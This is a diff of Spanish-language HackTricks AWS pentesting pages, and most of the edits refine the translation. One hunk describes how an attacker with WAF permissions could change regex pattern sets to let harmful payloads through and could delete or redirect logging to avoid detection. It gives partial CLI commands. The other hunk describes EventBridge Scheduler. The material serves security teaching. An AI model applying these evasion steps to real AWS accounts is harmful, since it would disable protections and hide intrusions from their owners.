@@ -380,8 +378,8 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
Un atacante con estos permisos podría manipular los conjuntos de patrones de expresiones regulares utilizados por AWS WAF para controlar y filtrar el tráfico entrante basado en patrones específicos.
- Crear nuevos patrones regex ayudaría a un atacante a permitir contenido dañino
- Al actualizar los patrones existentes, un atacante podría eludir las reglas de seguridad
- Crear nuevos patrones regex ayudaría a un atacante a permitir contenido dañino.
- Al actualizar los patrones existentes, un atacante podría eludir las reglas de seguridad.
- Eliminar patrones diseñados para bloquear actividades maliciosas podría permitir a un atacante enviar cargas útiles maliciosas y eludir las medidas de seguridad.
```bash
# Create regex pattern set
@@ -395,13 +393,13 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
Un atacante con el **`wafv2:DeleteLoggingConfiguration`** podría eliminar la configuración de registro del Web ACL especificado. Posteriormente, con los permisos **`wavf2:PutLoggingConfiguration`** y **`iam:CreateServiceLinkedRole`**, un atacante podría crear o reemplazar configuraciones de registro (después de haberla eliminado) para evitar el registro por completo o redirigir los registros a destinos no autorizados, como buckets de Amazon S3, grupos de registros de Amazon CloudWatch Logs o un Amazon Kinesis Data Firehose bajo control.
Un atacante con el **`wafv2:DeleteLoggingConfiguration`** podría eliminar la configuración de registro del Web ACL especificado. Posteriormente, con los permisos **`wavf2:PutLoggingConfiguration`** y **`iam:CreateServiceLinkedRole`**, un atacante podría crear o reemplazar configuraciones de registro (después de haberla eliminado) para evitar el registro por completo o redirigir los registros a destinos no autorizados, como buckets de Amazon S3, grupos de logs de Amazon CloudWatch Logs o un Amazon Kinesis Data Firehose bajo control.
Durante el proceso de creación, el servicio configura automáticamente los permisos necesarios para permitir que los registros se escriban en el destino de registro especificado:
- **Amazon CloudWatch Logs:** AWS WAF crea una política de recursos en el grupo de registros de CloudWatch Logs designado. Esta política asegura que AWS WAF tenga los permisos requeridos para escribir registros en el grupo de registros.
- **Amazon S3 Bucket:** AWS WAF crea una política de bucket en el bucket S3 designado. Esta política otorga a AWS WAF los permisos necesarios para subir registros al bucket especificado.
- **Amazon Kinesis Data Firehose:** AWS WAF crea un rol vinculado al servicio específicamente para interactuar con Kinesis Data Firehose. Este rol permite a AWS WAF entregar registros al stream de Firehose configurado.
- **Amazon CloudWatch Logs:** AWS WAF crea una política de recursos en el grupo de logs de CloudWatch Logs designado. Esta política asegura que AWS WAF tenga los permisos requeridos para escribir logs en el grupo de logs.
- **Amazon S3 Bucket:** AWS WAF crea una política de bucket en el bucket de S3 designado. Esta política otorga a AWS WAF los permisos necesarios para subir logs al bucket especificado.
- **Amazon Kinesis Data Firehose:** AWS WAF crea un rol vinculado al servicio específicamente para interactuar con Kinesis Data Firehose. Este rol permite a AWS WAF entregar logs al stream de Firehose configurado.
> [!NOTE]
> Es posible definir solo un destino de registro por web ACL.

View File

@@ -1,33 +1,31 @@
# AWS - Enumeración del Programador de EventBridge
## Programador de EventBridge
# AWS - EventBridge Scheduler Enum
{{#include ../../../banners/hacktricks-training.md}}
## Programador de EventBridge
## EventBridge Scheduler
**Amazon EventBridge Scheduler** es un programador **sin servidor totalmente gestionado diseñado para crear, ejecutar y gestionar tareas** a gran escala. Te permite programar millones de tareas en más de 270 servicios de AWS y más de 6,000 operaciones de API, todo desde un servicio central. Con fiabilidad incorporada y sin infraestructura que gestionar, EventBridge Scheduler simplifica la programación, reduce los costos de mantenimiento y se escala automáticamente para satisfacer la demanda. Puedes configurar expresiones cron o de tasa para horarios recurrentes, establecer invocaciones únicas y definir ventanas de entrega flexibles con opciones de reintento, asegurando que las tareas se entreguen de manera confiable según la disponibilidad de los objetivos posteriores.
**Amazon EventBridge Scheduler** es un programador completamente gestionado y **sin servidor diseñado para crear, ejecutar y gestionar tareas** a gran escala. Te permite programar millones de tareas a través de más de 270 servicios de AWS y más de 6,000 operaciones de API, todo desde un servicio central. Con fiabilidad incorporada y sin infraestructura que gestionar, EventBridge Scheduler simplifica la programación, reduce los costos de mantenimiento y se escala automáticamente para satisfacer la demanda. Puedes configurar expresiones cron o de tasa para horarios recurrentes, establecer invocaciones únicas y definir ventanas de entrega flexibles con opciones de reintento, asegurando que las tareas se entreguen de manera confiable según la disponibilidad de los objetivos posteriores.
Hay un límite inicial de 1,000,000 de horarios por región por cuenta. Incluso la página oficial de cuotas sugiere: "Se recomienda eliminar los horarios únicos una vez que se hayan completado."&#x20;
Hay un límite inicial de 1,000,000 de horarios por región por cuenta. Incluso la página oficial de cuotas sugiere: "Se recomienda eliminar los horarios únicos una vez que se hayan completado."
### Tipos de Horarios
Tipos de Horarios en el Programador de EventBridge:
Tipos de Horarios en EventBridge Scheduler:
1. **Horarios únicos** Ejecuta una tarea en un momento específico, por ejemplo, el 21 de diciembre a las 7 AM UTC.
2. **Horarios basados en tasa** Establece tareas recurrentes basadas en una frecuencia, por ejemplo, cada 2 horas.
3. **Horarios basados en cron** Establece tareas recurrentes utilizando una expresión cron, por ejemplo, cada viernes a las 4 PM.
1. **Horarios únicos** Ejecuta una tarea en un momento específico, p. ej., 21 de diciembre a las 7 AM UTC.
2. **Horarios basados en tasa** Establece tareas recurrentes basadas en una frecuencia, p. ej., cada 2 horas.
3. **Horarios basados en cron** Establece tareas recurrentes utilizando una expresión cron, p. ej., cada viernes a las 4 PM.
Dos Mecanismos para Manejar Eventos Fallidos:
1. **Política de Reintento** Define el número de intentos de reintento para un evento fallido y cuánto tiempo mantenerlo sin procesar antes de considerarlo un fallo.
2. **Cola de Mensajes Muertos (DLQ)** Una cola estándar de Amazon SQS donde se entregan los eventos fallidos después de que se agotan los reintentos. Las DLQ ayudan a solucionar problemas con tu horario o su objetivo posterior.
2. **Cola de Mensajes Muertos (DLQ)** Una cola estándar de Amazon SQS donde se entregan los eventos fallidos después de que se agotan los reintentos. Las DLQs ayudan a solucionar problemas con tu horario o su objetivo posterior.
### Objetivos
Hay 2 tipos de objetivos para un programador [**plantillados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que son comúnmente utilizados y AWS los hizo más fáciles de configurar, y [**universales (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que se pueden usar para llamar a cualquier API de AWS.
Hay 2 tipos de objetivos para un programador [**templados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que son comúnmente utilizados y AWS los hizo más fáciles de configurar, y [**universales (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que se pueden usar para llamar a cualquier API de AWS.
**Objetivos plantillados** admiten los siguientes servicios:
**Objetivos templados** soportan los siguientes servicios:
- CodeBuild StartBuild
- CodePipeline StartPipelineExecution